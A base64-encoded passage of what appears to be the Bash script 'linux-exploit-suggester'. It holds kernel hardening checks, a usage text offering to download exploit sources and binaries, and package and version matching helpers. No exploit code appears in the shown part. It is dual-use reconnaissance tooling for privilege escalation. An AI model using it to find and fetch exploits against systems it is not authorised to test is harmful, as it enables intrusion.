UVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9pb19zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBIYXJkd2FyZS1iYXNlZCBwcm90ZWN0aW9uIGZlYXR1cmVzOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEV4ZWN1dGlvbiBQcm90ZWN0aW9uIChTTUVQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjAKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtZXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtZXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cGVydmlzb3IgTW9kZSBBY2Nlc3MgUHJldmVudGlvbiAoU01BUCkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49My43CmVuYWJsZWQ6IGNtZDpncmVwIC1xaSBzbWFwIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbWFwLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiAzcmQgcGFydHkga2VybmVsIHByb3RlY3Rpb24gbWVjaGFuaXNtczoKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdyc2VjdXJpdHkKYXZhaWxhYmxlOiBDT05GSUdfR1JLRVJOU0VDPXkKZW5hYmxlZDogY21kOnRlc3QgLWMgL2Rldi9ncnNlYwpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFYCmF2YWlsYWJsZTogQ09ORklHX1BBWD15CmVuYWJsZWQ6IGNtZDp0ZXN0IC14IC9zYmluL3BheGN0bApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTGludXggS2VybmVsIFJ1bnRpbWUgR3VhcmQgKExLUkcpIGtlcm5lbCBtb2R1bGUKZW5hYmxlZDogY21kOnRlc3QgLWQgL3Byb2Mvc3lzL2xrcmcKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9sa3JnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBBdHRhY2sgU3VyZmFjZToKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzZXIgbmFtZXNwYWNlcyBmb3IgdW5wcml2aWxlZ2VkIGFjY291bnRzCmF2YWlsYWJsZTogQ09ORklHX1VTRVJfTlM9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy91c2VyX25zLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBVbnByaXZpbGVnZWQgYWNjZXNzIHRvIGJwZigpIHN5c3RlbSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX0JQRl9TWVNDQUxMPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN5c2NhbGxzIGZpbHRlcmluZwphdmFpbGFibGU6IENPTkZJR19TRUNDT01QPXkKZW5hYmxlZDogY21kOmdyZXAgLWkgU2VjY29tcCAvcHJvYy9zZWxmL3N0YXR1cyB8IGF3ayAne3ByaW50IFwkMn0nCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwcG9ydCBmb3IgL2Rldi9rbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZLTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZrbWVtLm1kCkVPRgopCgoKdmVyc2lvbigpIHsKICAgIGVjaG8gImxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyICIkVkVSU0lPTiIsIG16ZXQsIGh0dHBzOi8vei1sYWJzLmV1LCBNYXJjaCAyMDE5Igp9Cgp1c2FnZSgpIHsKICAgIGVjaG8gIkxFUyB2ZXIuICRWRVJTSU9OIChodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIpIGJ5IEBfbXpldF8iCiAgICBlY2hvCiAgICBlY2hvICJVc2FnZTogbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggW09QVElPTlNdIgogICAgZWNobwogICAgZWNobyAiIC1WIHwgLS12ZXJzaW9uICAgICAgICAgICAgICAgLSBwcmludCB2ZXJzaW9uIG9mIHRoaXMgc2NyaXB0IgogICAgZWNobyAiIC1oIHwgLS1oZWxwICAgICAgICAgICAgICAgICAgLSBwcmludCB0aGlzIGhlbHAiCiAgICBlY2hvICIgLWsgfCAtLWtlcm5lbCA8dmVyc2lvbj4gICAgICAtIHByb3ZpZGUga2VybmVsIHZlcnNpb24iCiAgICBlY2hvICIgLXUgfCAtLXVuYW1lIDxzdHJpbmc+ICAgICAgICAtIHByb3ZpZGUgJ3VuYW1lIC1hJyBzdHJpbmciCiAgICBlY2hvICIgLS1za2lwLW1vcmUtY2hlY2tzICAgICAgICAgICAtIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIChrZXJuZWwgY29uZmlnLCBzeXNjdGwpIHRvIGRldGVybWluZSBpZiBleHBsb2l0IGlzIGFwcGxpY2FibGUiCiAgICBlY2hvICIgLS1za2lwLXBrZy12ZXJzaW9ucyAgICAgICAgICAtIHNraXAgY2hlY2tpbmcgZm9yIGV4YWN0IHVzZXJzcGFjZSBwYWNrYWdlIHZlcnNpb24gKGhlbHBzIHRvIGF2b2lkIGZhbHNlIG5lZ2F0aXZlcykiCiAgICBlY2hvICIgLXAgfCAtLXBrZ2xpc3QtZmlsZSA8ZmlsZT4gICAtIHByb3ZpZGUgZmlsZSB3aXRoICdkcGtnIC1sJyBvciAncnBtIC1xYScgY29tbWFuZCBvdXRwdXQiCiAgICBlY2hvICIgLS1jdmVsaXN0LWZpbGUgPGZpbGU+ICAgICAgICAtIHByb3ZpZGUgZmlsZSB3aXRoIExpbnV4IGtlcm5lbCBDVkVzIGxpc3QiCiAgICBlY2hvICIgLS1jaGVja3NlYyAgICAgICAgICAgICAgICAgICAtIGxpc3Qgc2VjdXJpdHkgcmVsYXRlZCBmZWF0dXJlcyBmb3IgeW91ciBIVy9rZXJuZWwiCiAgICBlY2hvICIgLXMgfCAtLWZldGNoLXNvdXJjZXMgICAgICAgICAtIGF1dG9tYXRpY2FsbHkgZG93bmxvYWRzIHNvdXJjZSBmb3IgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC1iIHwgLS1mZXRjaC1iaW5hcmllcyAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBiaW5hcnkgZm9yIG1hdGNoZWQgZXhwbG9pdCBpZiBhdmFpbGFibGUiCiAgICBlY2hvICIgLWYgfCAtLWZ1bGwgICAgICAgICAgICAgICAgICAtIHNob3cgZnVsbCBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtZyB8IC0tc2hvcnQgICAgICAgICAgICAgICAgIC0gc2hvdyBzaG9ydGVuIGluZm8gYWJvdXQgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC0ta2VybmVsc3BhY2Utb25seSAgICAgICAgICAgLSBzaG93IG9ubHkga2VybmVsIHZ1bG5lcmFiaWxpdGllcyIKICAgIGVjaG8gIiAtLXVzZXJzcGFjZS1vbmx5ICAgICAgICAgICAgIC0gc2hvdyBvbmx5IHVzZXJzcGFjZSB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLWQgfCAtLXNob3ctZG9zICAgICAgICAgICAgICAtIHNob3cgYWxzbyBEb1NlcyBpbiByZXN1bHRzIgp9CgpleGl0V2l0aEVyck1zZygpIHsKICAgIGVjaG8gIiQxIiAxPiYyCiAgICBleGl0IDEKfQoKIyBleHRyYWN0cyBhbGwgaW5mb3JtYXRpb24gZnJvbSBvdXRwdXQgb2YgJ3VuYW1lIC1hJyBjb21tYW5kCnBhcnNlVW5hbWUoKSB7CiAgICBsb2NhbCB1bmFtZT0kMQoKICAgIEtFUk5FTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nIHwgY3V0IC1kICctJyAtZiAxKQogICAgS0VSTkVMX0FMTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nKQogICAgQVJDSD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkKE5GLTEpfScpCgogICAgT1M9IiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdkZWInICYmIE9TPSJkZWJpYW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAndWJ1bnR1JyAmJiBPUz0idWJ1bnR1IgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtQVJDSCcgJiYgT1M9ImFyY2giCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1kZWVwaW4nICYmIE9TPSJkZWVwaW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1NQU5KQVJPJyAmJiBPUz0ibWFuamFybyIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmZjJyAmJiBPUz0iZmVkb3JhIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wuZWwnICYmIE9TPSJSSEVMIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wubWdhJyAmJiBPUz0ibWFnZWlhIgoKICAgICMgJ3VuYW1lIC1hJyBvdXRwdXQgZG9lc24ndCBjb250YWluIGRpc3RyaWJ1dGlvbiBudW1iZXIgKGF0IGxlYXN0IG5vdCBpbiBjYXNlIG9mIGFsbCBkaXN0cm9zKQp9CgpnZXRQa2dMaXN0KCkgewogICAgbG9jYWwgZGlzdHJvPSQxCiAgICBsb2NhbCBwa2dsaXN0X2ZpbGU9JDIKICAgIAogICAgIyB0YWtlIHBhY2thZ2UgbGlzdGluZyBmcm9tIHByb3ZpZGVkIGZpbGUgJiBkZXRlY3QgaWYgaXQncyAncnBtIC1xYScgbGlzdGluZyBvciAnZHBrZyAtbCcgb3IgJ3BhY21hbiAtUScgbGlzdGluZyBvZiBub3QgcmVjb2duaXplZCBsaXN0aW5nCiAgICBpZiBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgLWEgLWUgIiRwa2dsaXN0X2ZpbGUiIF07IHRoZW4KCiAgICAgICAgIyB1YnVudHUvZGViaWFuIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgaWYgWyAkKGhlYWQgLTEgIiRwa2dsaXN0X2ZpbGUiIHwgZ3JlcCAnRGVzaXJlZD1Vbmtub3duL0luc3RhbGwvUmVtb3ZlL1B1cmdlL0hvbGQnKSBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIiB8IGF3ayAne3ByaW50ICQyIi0iJDN9JyB8IHNlZCAncy86YW1kNjQvL2cnKQoKICAgICAgICAgICAgT1M9ImRlYmlhbiIKICAgICAgICAgICAgWyAiJChncmVwIHVidW50dSAiJHBrZ2xpc3RfZmlsZSIpIiBdICYmIE9TPSJ1YnVudHUiCiAgICAgICAgIyByZWRoYXQgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5lbFsxLTldK1tcLl9dJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJSSEVMIgogICAgICAgICMgZmVkb3JhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZmNbMS05XSsnaSAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJmZWRvcmEiCiAgICAgICAgIyBtYWdlaWEgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5tZ2FbMS05XSsnICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9Im1hZ2VpYSIKICAgICAgICAjIHBhY21hbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcIFswLTldK1wuJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICAgICAgICAgIE9TPSJhcmNoIgogICAgICAgICMgZmlsZSBub3QgcmVjb2duaXplZCAtIHNraXBwaW5nCiAgICAgICAgZWxzZQogICAgICAgICAgICBQS0dfTElTVD0iIgogICAgICAgIGZpCgogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJkZWJpYW4iIC1vICIkZGlzdHJvIiA9ICJ1YnVudHUiIC1vICIkZGlzdHJvIiA9ICJkZWVwaW4iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKGRwa2cgLWwgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiUkhFTCIgLW8gIiRkaXN0cm8iID0gImZlZG9yYSIgLW8gIiRkaXN0cm8iID0gIm1hZ2VpYSIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQocnBtIC1xYSkKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiYXJjaCIgLW8gIiRkaXN0cm8iID0gIm1hbmphcm8iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHBhY21hbiAtUSB8IGF3ayAne3ByaW50ICQxIi0iJDJ9JykKICAgIGVsaWYgWyAteCAvdXNyL2Jpbi9lcXVlcnkgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQoL3Vzci9iaW4vZXF1ZXJ5IC0tcXVpZXQgbGlzdCAnKicgLUYgJyRuYW1lOiR2ZXJzaW9uJyB8IGN1dCAtZC8gLWYyLSB8IGF3ayAne3ByaW50ICQxIjoiJDJ9JykKICAgIGVsc2UKICAgICAgICAjIHBhY2thZ2VzIGxpc3Rpbmcgbm90IGF2YWlsYWJsZQogICAgICAgIFBLR19MSVNUPSIiCiAgICBmaQp9CgojIGZyb206IGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQwMjM4MzAvaG93LWNvbXBhcmUtdHdvLXN0cmluZ3MtaW4tZG90LXNlcGFyYXRlZC12ZXJzaW9uLWZvcm1hdC1pbi1iYXNoCnZlckNvbXBhcmlzaW9uKCkgewoKICAgIGlmIFtbICQxID09ICQyIF1dCiAgICB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGZpCgogICAgbG9jYWwgSUZTPS4KICAgIGxvY2FsIGkgdmVyMT0oJDEpIHZlcjI9KCQyKQoKICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMSB3aXRoIHplcm9zCiAgICBmb3IgKChpPSR7I3ZlcjFbQF19OyBpPCR7I3ZlcjJbQF19OyBpKyspKQogICAgZG8KICAgICAgICB2ZXIxW2ldPTAKICAgIGRvbmUKCiAgICBmb3IgKChpPTA7IGk8JHsjdmVyMVtAXX07IGkrKykpCiAgICBkbwogICAgICAgIGlmIFtbIC16ICR7dmVyMltpXX0gXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMiB3aXRoIHplcm9zCiAgICAgICAgICAgIHZlcjJbaV09MAogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19ID4gMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMQogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19IDwgMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMgogICAgICAgIGZpCiAgICBkb25lCgogICAgcmV0dXJuIDAKfQoKZG9WZXJzaW9uQ29tcGFyaXNpb24oKSB7CiAgICBsb2NhbCByZXFWZXJzaW9uPSIkMSIKICAgIGxvY2FsIHJlcVJlbGF0aW9uPSIkMiIKICAgIGxvY2FsIGN1cnJlbnRWZXJzaW9uPSIkMyIKCiAgICB2ZXJDb21wYXJpc2lvbiAkY3VycmVudFZlcnNpb24gJHJlcVZlcnNpb24KICAgIGNhc2UgJD8gaW4KICAgICAgICAwKSBjdXJyZW50UmVsYXRpb249Jz0nOzsKICAgICAgICAxKSBjdXJyZW50UmVsYXRpb249Jz4nOzsKICAgICAgICAyKSBjdXJyZW50UmVsYXRpb249JzwnOzsKICAgIGVzYWMKCiAgICBpZiBbICIkcmVxUmVsYXRpb24iID09ICI9IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj4iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPCIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPiIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI8PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZmkKfQoKY29tcGFyZVZhbHVlcygpIHsKICAgIGN1clZhbD0kMQogICAgdmFsPSQyCiAgICBzaWduPSQzCgogICAgaWYgWyAiJHNpZ24iID09ICI9PSIgXTsgdGhlbgogICAgICAgIFsgIiR2YWwiID09ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRzaWduIiA9PSAiIT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiAhPSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZmkKCiAgICByZXR1cm4gMQp9CgpjaGVja1JlcXVpcmVtZW50KCkgewogICAgI2VjaG8gIkNoZWNraW5nIHJlcXVpcmVtZW50OiAkMSIKICAgIGxvY2FsIElOPSIkMSIKICAgIGxvY2FsIHBrZ05hbWU9IiR7Mjo0fSIKCiAgICBpZiBbWyAiJElOIiA9fiBecGtnPS4qJCBdXTsgdGhlbgoKICAgICAgICAjIGFsd2F5cyB0cnVlIGZvciBMaW51eCBPUwogICAgICAgIFsgJHtwa2dOYW1lfSA9PSAibGludXgta2VybmVsIiBdICYmIHJldHVybiAwCgogICAgICAgICMgdmVyaWZ5IGlmIHBhY2thZ2UgaXMgcHJlc2VudCAKICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQogICAgICAgIGlmIFsgLW4gIiRwa2ciIF07IHRoZW4KICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICBmaQoKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnZlci4qJCBdXTsgdGhlbgogICAgICAgIHZlcnNpb249IiR7SU4vL1teMC05Ll0vfSIKICAgICAgICByZXN0PSIke0lOI3Zlcn0iCiAgICAgICAgb3BlcmF0b3I9JHtyZXN0JSR2ZXJzaW9ufQoKICAgICAgICBpZiBbICIkcGtnTmFtZSIgPT0gImxpbnV4LWtlcm5lbCIgLW8gIiRvcHRfY2hlY2tzZWNfbW9kZSIgPT0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGUgc2tpcCBrZXJuZWwgdmVyc2lvbiBjb21wYXJpc2lvbgogICAgICAgICAgICBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRLRVJORUwgJiYgcmV0dXJuIDAKICAgICAgICBlbHNlCiAgICAgICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIHZlcnNpb24gYW5kIGNoZWNrIGlmIHJlcXVpcmVtbnQgaXMgdHJ1ZQogICAgICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQoKICAgICAgICAgICAgIyBza2lwIChpZiBydW4gd2l0aCAtLXNraXAtcGtnLXZlcnNpb25zKSB2ZXJzaW9uIGNoZWNraW5nIGlmIHBhY2thZ2Ugd2l0aCBnaXZlbiBuYW1lIGlzIGluc3RhbGxlZAogICAgICAgICAgICBbICIkb3B0X3NraXBfcGtnX3ZlcnNpb25zIiA9ICJ0cnVlIiAtYSAtbiAiJHBrZyIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgIyB2ZXJzaW9uaW5nOgogICAgICAgICAgICAjZWNobyAicGtnOiAkcGtnIgogICAgICAgICAgICBwa2dWZXJzaW9uPSQoZWNobyAiJHBrZyIgfCBncmVwIC1FIC1pIC1vIC1lICctW1wuMC05XCs6cF0rWy1cK10nIHwgY3V0IC1kJzonIC1mMiB8IHNlZCAncy9bXCstXS8vZycgfCBzZWQgJ3MvcFswLTldLy9nJykKICAgICAgICAgICAgI2VjaG8gInZlcnNpb246ICRwa2dWZXJzaW9uIgogICAgICAgICAgICAjZWNobyAib3BlcmF0b3I6ICRvcGVyYXRvciIKICAgICAgICAgICAgI2VjaG8gInJlcXVpcmVkIHZlcnNpb246ICR2ZXJzaW9uIgogICAgICAgICAgICAjZWNobwogICAgICAgICAgICBkb1ZlcnNpb25Db21wYXJpc2lvbiAkdmVyc2lvbiAkb3BlcmF0b3IgJHBrZ1ZlcnNpb24gJiYgcmV0dXJuIDAKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBeeDg2XzY0JCBdXSAmJiBbICIkQVJDSCIgPT0gIng4Nl82NCIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4NiQgXV0gJiYgWyAiJEFSQ0giID09ICJpMzg2IiAtbyAiJEFSQ0giID09ICJpNjg2IiAtbyAiJEFSQ0giID09ICIiIF07IHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZWxpZiBbWyAiJElOIiA9fiBeQ09ORklHXy4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgc2V0KSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBpZiBrZXJuZWwgY29uZmlnIElTIGF2YWlsYWJsZToKICAgICAgICBpZiBbIC1uICIkS0NPTkZJRyIgXTsgdGhlbgogICAgICAgICAgICBpZiAkS0NPTkZJRyB8IGdyZXAgLUUgLXFpICRJTjsgdGhlbgogICAgICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgICAgICMgcmVxdWlyZWQgb3B0aW9uIHdhc24ndCBmb3VuZCwgZXhwbG9pdCBpcyBub3QgYXBwbGljYWJsZQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICAgICAgZmkKICAgICAgICAjIGNvbmZpZyBpcyBub3QgYXZhaWxhYmxlCiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBec3lzY3RsOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBzeXNjdGxDb25kaXRpb249IiR7SU46N30iCgogICAgICAgICMgZXh0cmFjdCBzeXNjdGwgZW50cnksIHJlbGF0aW9uIHNpZ24gYW5kIHJlcXVpcmVkIHZhbHVlCiAgICAgICAgaWYgZWNobyAkc3lzY3RsQ29uZGl0aW9uIHwgZ3JlcCAtcWkgIiE9IjsgdGhlbgogICAgICAgICAgICBzaWduPSIhPSIKICAgICAgICBlbGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICI9PSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iPT0iCiAgICAgICAgZWxzZQogICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiV3Jvbmcgc3lzY3RsIGNvbmRpdGlvbi4gVGhlcmUgaXMgc3ludGF4IGVycm9yIGluIHlvdXIgZmVhdHVyZXMgREIuIEFib3J0aW5nLiIKICAgICAgICBmaQogICAgICAgIHZhbD0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMn0nKQogICAgICAgIGVudHJ5PSQoZWNobyAiJHN5c2N0bENvbmRpdGlvbiIgfCBhd2sgLUYgIiRzaWduIiAne3ByaW50ICQxfScpCgogICAgICAgICMgZ2V0IGN1cnJlbnQgc2V0dGluZyBvZiBzeXNjdGwgZW50cnkKICAgICAgICBjdXJWYWw9JCgvc2Jpbi9zeXNjdGwgLWEgMj4gL2Rldi9udWxsIHwgZ3JlcCAiJGVudHJ5IiB8IGF3ayAtRic9JyAne3ByaW50ICQyfScpCgogICAgICAgICMgc3BlY2lhbCBjYXNlIGZvciAtLWNoZWNrc2VjIG1vZGU6IHJldHVybiAyIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIC1h